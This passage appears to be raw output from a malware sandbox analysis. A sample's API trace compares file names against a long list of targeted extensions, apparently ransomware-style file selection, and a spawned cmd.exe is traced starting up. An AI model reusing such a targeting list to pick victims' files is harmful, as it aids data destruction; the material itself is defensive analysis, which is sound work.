nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="+NewSQLServerConnection.odc", cAlternateFileName="_NEWSQ~1.ODC")) returned 1 [0091.714] lstrlenW (lpString="+NewSQLServerConnection.odc") returned 27 [0091.714] lstrlenW (lpString=".1cd") returned 4 [0091.715] lstrcmpiW (lpString1=".1cd", lpString2=".odc") returned -1 [0091.715] lstrlenW (lpString=".3ds") returned 4 [0091.715] lstrcmpiW (lpString1=".3ds", lpString2=".odc") returned -1 [0091.715] lstrlenW (lpString=".3fr") returned 4 [0091.715] lstrcmpiW (lpString1=".3fr", lpString2=".odc") returned -1 [0091.715] lstrlenW (lpString=".3g2") returned 4 [0091.715] lstrcmpiW (lpString1=".3g2", lpString2=".odc") returned -1 [0091.715] lstrlenW (lpString=".3gp") returned 4 [0091.715] lstrcmpiW (lpString1=".3gp", lpString2=".odc") returned -1 [0091.715] lstrlenW (lpString=".7z") returned 3 [0091.715] lstrcmpiW (lpString1=".7z", lpString2="odc") returned -1 [0091.715] lstrlenW (lpString=".accda") returned 6 [0091.715] lstrcmpiW (lpString1=".accda", lpString2="on.odc") returned -1 [0091.715] lstrlenW (lpString=".accdb") returned 6 [0091.715] lstrcmpiW (lpString1=".accdb", lpString2="on.odc") returned -1 [0091.715] lstrlenW (lpString=".accdc") returned 6 [0091.716] lstrcmpiW (lpString1=".accdc", lpString2="on.odc") returned -1 [0091.716] lstrlenW (lpString=".accde") returned 6 [0091.716] lstrcmpiW (lpString1=".accde", lpString2="on.odc") returned -1 [0091.716] lstrlenW (lpString=".accdt") returned 6 [0091.716] lstrcmpiW (lpString1=".accdt", lpString2="on.odc") returned -1 [0091.716] lstrlenW (lpString=".accdw") returned 6 [0091.716] lstrcmpiW (lpString1=".accdw", lpString2="on.odc") returned -1 [0091.716] lstrlenW (lpString=".adb") returned 4 [0091.716] lstrcmpiW (lpString1=".adb", lpString2=".odc") returned -1 [0091.716] lstrlenW (lpString=".adp") returned 4 [0091.716] lstrcmpiW (lpString1=".adp", lpString2=".odc") returned -1 [0091.716] lstrlenW (lpString=".ai") returned 3 [0091.716] lstrcmpiW (lpString1=".ai", lpString2="odc") returned -1 [0091.716] lstrlenW (lpString=".ai3") returned 4 [0091.716] lstrcmpiW (lpString1=".ai3", lpString2=".odc") returned -1 [0091.716] lstrlenW (lpString=".ai4") returned 4 [0091.716] lstrcmpiW (lpString1=".ai4", lpString2=".odc") returned -1 [0091.717] lstrlenW (lpString=".ai5") returned 4 [0091.717] lstrcmpiW (lpString1=".ai5", lpString2=".odc") returned -1 [0091.717] lstrlenW (lpString=".ai6") returned 4 [0091.717] lstrcmpiW (lpString1=".ai6", lpString2=".odc") returned -1 [0091.717] lstrlenW (lpString=".ai7") returned 4 [0091.717] lstrcmpiW (lpString1=".ai7", lpString2=".odc") returned -1 [0091.717] lstrlenW (lpString=".ai8") returned 4 [0091.717] lstrcmpiW (lpString1=".ai8", lpString2=".odc") returned -1 [0091.717] lstrlenW (lpString=".anim") returned 5 [0091.717] lstrcmpiW (lpString1=".anim", lpString2="n.odc") returned -1 [0091.717] lstrlenW (lpString=".arw") returned 4 [0091.717] lstrcmpiW (lpString1=".arw", lpString2=".odc") returned -1 [0091.717] lstrlenW (lpString=".as") returned 3 [0091.717] lstrcmpiW (lpString1=".as", lpString2="odc") returned -1 [0091.717] lstrlenW (lpString=".asa") returned 4 [0091.717] lstrcmpiW (lpString1=".asa", lpString2=".odc") returned -1 [0091.717] lstrlenW (lpString=".asc") returned 4 [0091.718] lstrcmpiW (lpString1=".asc", lpString2=".odc") returned -1 [0091.718] lstrlenW (lpString=".ascx") returned 5 [0091.718] lstrcmpiW (lpString1=".ascx", lpString2="n.odc") returned -1 [0091.718] lstrlenW (lpString=".asm") returned 4 [0091.718] lstrcmpiW (lpString1=".asm", lpString2=".odc") returned -1 [0091.718] lstrlenW (lpString=".asmx") returned 5 [0091.718] lstrcmpiW (lpString1=".asmx", lpString2="n.odc") returned -1 [0091.718] lstrlenW (lpString=".asp") returned 4 [0091.718] lstrcmpiW (lpString1=".asp", lpString2=".odc") returned -1 [0091.718] lstrlenW (lpString=".aspx") returned 5 [0091.718] lstrcmpiW (lpString1=".aspx", lpString2="n.odc") returned -1 [0091.718] lstrlenW (lpString=".asr") returned 4 [0091.718] lstrcmpiW (lpString1=".asr", lpString2=".odc") returned -1 [0091.718] lstrlenW (lpString=".asx") returned 4 [0091.718] lstrcmpiW (lpString1=".asx", lpString2=".odc") returned -1 [0091.719] lstrlenW (lpString=".avi") returned 4 [0091.719] lstrcmpiW (lpString1=".avi", lpString2=".odc") returned -1 [0091.719] lstrlenW (lpString=".avs") returned 4 [0091.719] lstrcmpiW (lpString1=".avs", lpString2=".odc") returned -1 [0091.719] lstrlenW (lpString=".backup") returned 7 [0091.719] lstrcmpiW (lpString1=".backup", lpString2="ion.odc") returned -1 [0091.719] lstrlenW (lpString=".bak") returned 4 [0091.719] lstrcmpiW (lpString1=".bak", lpString2=".odc") returned -1 [0091.719] lstrlenW (lpString=".bay") returned 4 [0091.719] lstrcmpiW (lpString1=".bay", lpString2=".odc") returned -1 [0091.719] lstrlenW (lpString=".bd") returned 3 [0091.719] lstrcmpiW (lpString1=".bd", lpString2="odc") returned -1 [0091.719] lstrlenW (lpString=".bin") returned 4 [0091.720] lstrcmpiW (lpString1=".bin", lpString2=".odc") returned -1 [0091.720] lstrlenW (lpString=".bmp") returned 4 [0091.720] lstrcmpiW (lpString1=".bmp", lpString2=".odc") returned -1 [0091.720] lstrlenW (lpString=".bz2") returned 4 [0091.720] lstrcmpiW (lpString1=".bz2", lpString2=".odc") returned -1 [0091.720] lstrlenW (lpString=".c") returned 2 [0091.720] lstrcmpiW (lpString1=".c", lpString2="dc") returned -1 [0091.720] lstrlenW (lpString=".cdr") returned 4 [0091.720] lstrcmpiW (lpString1=".cdr", lpString2=".odc") returned -1 [0091.720] lstrlenW (lpString=".cer") returned 4 [0091.720] lstrcmpiW (lpString1=".cer", lpString2=".odc") returned -1 [0091.720] lstrlenW (lpString=".cf") returned 3 [0091.720] lstrcmpiW (lpString1=".cf", lpString2="odc") returned -1 [0091.720] lstrlenW (lpString=".cfc") returned 4 [0091.720] lstrcmpiW (lpString1=".cfc", lpString2=".odc") returned -1 [0091.720] lstrlenW (lpString=".cfm") returned 4 [0091.721] lstrcmpiW (lpString1=".cfm", lpString2=".odc") returned -1 [0091.721] lstrlenW (lpString=".cfml") returned 5 [0091.721] lstrcmpiW (lpString1=".cfml", lpString2="n.odc") returned -1 [0091.721] lstrlenW (lpString=".cfu") returned 4 [0091.721] lstrcmpiW (lpString1=".cfu", lpString2=".odc") returned -1 [0091.721] lstrlenW (lpString=".chm") returned 4 [0091.721] lstrcmpiW (lpString1=".chm", lpString2=".odc") returned -1 [0091.721] lstrlenW (lpString=".cin") returned 4 [0091.721] lstrcmpiW (lpString1=".cin", lpString2=".odc") returned -1 [0091.721] lstrlenW (lpString=".class") returned 6 [0091.721] lstrcmpiW (lpString1=".class", lpString2="on.odc") returned -1 [0091.721] lstrlenW (lpString=".clx") returned 4 [0091.721] lstrcmpiW (lpString1=".clx", lpString2=".odc") returned -1 [0091.721] lstrlenW (lpString=".config") returned 7 [0091.722] lstrcmpiW (lpString1=".config", lpString2="ion.odc") returned -1 [0091.722] lstrlenW (lpString=".cpp") returned 4 [0091.722] lstrcmpiW (lpString1=".cpp", lpString2=".odc") returned -1 [0091.722] lstrlenW (lpString=".cr2") returned 4 [0091.722] lstrcmpiW (lpString1=".cr2", lpString2=".odc") returned -1 [0091.722] lstrlenW (lpString=".crt") returned 4 [0091.722] lstrcmpiW (lpString1=".crt", lpString2=".odc") returned -1 [0091.722] lstrlenW (lpString=".crw") returned 4 [0091.722] lstrcmpiW (lpString1=".crw", lpString2=".odc") returned -1 [0091.722] lstrlenW (lpString=".cs") returned 3 [0091.722] lstrcmpiW (lpString1=".cs", lpString2="odc") returned -1 [0091.722] lstrlenW (lpString=".css") returned 4 [0091.722] lstrcmpiW (lpString1=".css", lpString2=".odc") returned -1 [0091.722] lstrlenW (lpString=".csv") returned 4 [0091.722] lstrcmpiW (lpString1=".csv", lpString2=".odc") returned -1 [0091.729] FindNextFileW (in: hFindFile=0x3974230, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc800ef00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc800ef00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="DL_RES.DLL", cAlternateFileName="")) returned 1 [0092.542] FindNextFileW (in: hFindFile=0x3974270, lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50f6a840, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.543] FindNextFileW (in: hFindFile=0x3974270, lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58b19600, ftCreationTime.dwHighDateTime=0x1c304b9, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x58b19600, ftLastWriteTime.dwHighDateTime=0x1c304b9, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visfilem.vsdir", cAlternateFileName="VISFIL~1.VSD")) returned 1 Thread: id = 20 os_tid = 0x688 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x43c33000" os_pid = "0xc0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x618" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0x534 [0073.140] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fbb0 | out: lpSystemTimeAsFileTime=0x18fbb0*(dwLowDateTime=0xd9ae2ea0, dwHighDateTime=0x1d66f20)) [0073.140] GetCurrentProcessId () returned 0xc0 [0073.140] GetCurrentThreadId () returned 0x534 [0073.141] GetTickCount () returned 0x1146078 [0073.141] QueryPerformanceCounter (in: lpPerformanceCount=0x18fbb8 | out: lpPerformanceCount=0x18fbb8*=19270905414) returned 1 [0073.150] GetModuleHandleW (lpModuleName=0x0) returned 0x4a1d0000 [0073.151] __set_app_type (_Type=0x1) [0073.151] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a1f7810) returned 0x0 [0073.151] __getmainargs (in: _Argc=0x4a21a608, _Argv=0x4a21a618, _Env=0x4a21a610, _DoWildCard=0, _StartInfo=0x4a1fe0f4 | out: _Argc=0x4a21a608, _Argv=0x4a21a618, _Env=0x4a21a610) returned 0 [0073.152] GetCurrentThreadId () returned 0x534 [0073.152] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x534) returned 0x3c [0073.411] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0073.411] GetProcAddress (hModule=0x77940000, lpProcName="SetThreadUILanguage") returned 0x77956d40 [0073.412] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.412] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0073.412] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fb48 | out: phkResult=0x18fb48*=0x0) returned 0x2 [0073.412] VirtualQuery (in: lpAddress=0x18fb30, lpBuffer=0x18fab0, dwLength=0x30 | out: lpBuffer=0x18fab0*(BaseAddress=0x18f000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0073.412] VirtualQuery (in: lpAddress=0x90000, lpBuffer=0x18fab0, dwLength=0x30 | out: lpBuffer=0x18fab0*(BaseAddress=0x90000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0073.412] VirtualQuery (in: lpAddress=0x91000, lpBuffer=0x18fab0, dwLength=0x30 | out: lpBuffer=0x18fab0*(BaseAddress=0x91000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0073.412] VirtualQuery (in: lpAddress=0x94000, lpBuffer=0x18fab0, dwLength=0x30 | out: lpBuffer=0x18fab0*(BaseAddress=0x94000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0073.412] VirtualQuery (in: lpAddress=0x190000, lpBuffer=0x18fab0, dwLength=0x30 | out: lpBuffer=0x18fab0*(BaseAddress=0x190000, AllocationBase=0x190000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0073.412] GetConsoleOutputCP () returned 0x1b5 [0073.412] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a20bfe0 | out: lpCPInfo=0x4a20bfe0) returned 1 [0073.413] SetConsoleCtrlHandler (HandlerRoutine=0x4a1f3184, Add=1) returned 1 [0073.413] _get_osfhandle (_FileHandle=1) returned 0xf4 [0073.413] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0073.413] _get_osfhandle (_FileHandle=1) returned 0xf4 [0073.413] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a1fe194 | out: lpMode=0x4a1fe194) returned 0 [0073.413] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.413] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a1fe198 | out: lpMode=0x4a1fe198) returned 0 [0073.413] GetEnvironmentStringsW () returned 0x2a8a60* [0073.414] GetProcessHeap () returned 0x290000 [0073.414] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xa7c) returned 0x2a94f0 [0073.414] FreeEnvironmentStringsW (penv=0x2a8a60) returned 1 [0073.414] GetProcessHeap () returned 0x290000 [0073.414] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x8) returned 0x2a88e0 [0073.414] GetEnvironmentStringsW () returned 0x2a8a60* [0073.414] GetProcessHeap () returned 0x290000 [0073.414] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xa7c) returned 0x2a9f80 [0073.414] FreeEnvironmentStringsW (penv=0x2a8a60) returned 1 [0073.414] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x18ea08 | out: phkResult=0x18ea08*=0x44) returned 0x0 [0073.414] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x0, lpData=0x18ea20*=0x18, lpcbData=0x18ea04*=0x1000) returned 0x2 [0073.414] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x4, lpData=0x18ea20*=0x1, lpcbData=0x18ea04*=0x4) returned 0x0 [0073.414] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x0, lpData=0x18ea20*=0x1, lpcbData=0x18ea04*=0x1000) returned 0x2 [0073.414] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x4, lpData=0x18ea20*=0x0, lpcbData=0x18ea04*=0x4) returned 0x0 [0073.414] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x4, lpData=0x18ea20*=0x40, lpcbData=0x18ea04*=0x4) returned 0x0 [0073.415] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x4, lpData=0x18ea20*=0x40, lpcbData=0x18ea04*=0x4) returned 0x0 [0073.415] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x0, lpData=0x18ea20*=0x40, lpcbData=0x18ea04*=0x1000) returned 0x2 [0073.415] RegCloseKey (hKey=0x44) returned 0x0 [0073.415] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x18ea08 | out: phkResult=0x18ea08*=0x44) returned 0x0 [0073.415] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x0, lpData=0x18ea20*=0x40, lpcbData=0x18ea04*=0x1000) returned 0x2 [0073.415] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x4, lpData=0x18ea20*=0x1, lpcbData=0x18ea04*=0x4) returned 0x0 [0073.415] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x0, lpData=0x18ea20*=0x1, lpcbData=0x18ea04*=0x1000) returned 0x2 [0073.415] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x4, lpData=0x18ea20*=0x0, lpcbData=0x18ea04*=0x4) returned 0x0 [0073.415] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x4, lpData=0x18ea20*=0x9, lpcbData=0x18ea04*=0x4) returned 0x0 [0073.415] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x4, lpData=0x18ea20*=0x9, lpcbData=0x18ea04*=0x4) returned 0x0 [0073.415] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x0, lpData=0x18ea20*=0x9, lpcbData=0x18ea04*=0x1000) returned 0x2 [0073.415] RegCloseKey (hKey=0x44) returned 0x0 [0073.415] time (in: timer=0x0 | out: timer=0x0) returned 0x5f3156c1 [0073.415] srand (_Seed=0x5f3156c1) [0073.415] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0073.415] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0073.415] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a20c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0073.416] GetProcessHeap () returned 0x290000 [0073.416] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x218) returned 0x2aaa10 [0073.416] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2aaa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0073.416] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a1ff360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0073.416] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a1ff360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0073.416] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a1ff360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0073.416] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0073.416] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0073.416] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0073.416] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0073.416] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0073.416] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0073.416] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0073.416] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0073.416] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0073.416] GetProcessHeap () returned 0x290000 [0073.416] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a94f0 | out: hHeap=0x290000) returned 1 [0073.416] GetEnvironmentStringsW () returned 0x2a8a60* [0073.417] GetProcessHeap () returned 0x290000 [0073.417] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xa94) returned 0x2aac30 [0073.417] FreeEnvironmentStringsW (penv=0x2a8a60) returned 1 [0073.417] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a1ff360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0073.417] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a1ff360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0073.417] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0073.417] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0073.417] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0073.417] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0073.417] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0073.417] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0073.417] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0073.417] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0073.417] GetProcessHeap () returned 0x290000 [0073.417] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x5c) returned 0x2ab6d0 [0073.417] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x18f810 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0073.417] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x18f810, lpFilePart=0x18f7f0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x18f7f0*="Desktop") returned 0x25 [0073.417] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0073.418] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x18f520 | out: lpFindFileData=0x18f520*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x2ab740 [0073.418] FindClose (in: hFindFile=0x2ab740 | out: hFindFile=0x2ab740) returned 1 [0073.418] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x18f520 | out: lpFindFileData=0x18f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x2ab740 [0073.418] FindClose (in: hFindFile=0x2ab740 | out: hFindFile=0x2ab740) returned 1 [0073.418] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0073.418] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x18f520 | out: lpFindFileData=0x18f520*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcea84860, ftLastAccessTime.dwHighDateTime=0x1d66f20, ftLastWriteTime.dwLowDateTime=0xcea84860, ftLastWriteTime.dwHighDateTime=0x1d66f20, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x2ab740 [0073.418] FindClose (in: hFindFile=0x2ab740 | out: hFindFile=0x2ab740) returned 1 [0073.418] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0073.419] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0073.419] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0073.419] GetProcessHeap () returned 0x290000 [0073.419] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2aac30 | out: hHeap=0x290000) returned 1 [0073.419] GetEnvironmentStringsW () returned 0x2ab740* [0073.419] GetProcessHeap () returned 0x290000 [0073.419] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xae8) returned 0x2ac230 [0073.419] FreeEnvironmentStringsW (penv=0x2ab740) returned 1 [0073.419] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a20c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0073.419] GetProcessHeap () returned 0x290000 [0073.419] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2ab6d0 | out: hHeap=0x290000) returned 1 [0073.419] GetProcessHeap () returned 0x290000 [0073.419] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x4016) returned 0x2acd20 [0073.420] GetProcessHeap () returned 0x290000 [0073.420] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2acd20 | out: hHeap=0x290000) returned 1 [0073.420] GetConsoleOutputCP () returned 0x1b5 [0073.420] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a20bfe0 | out: 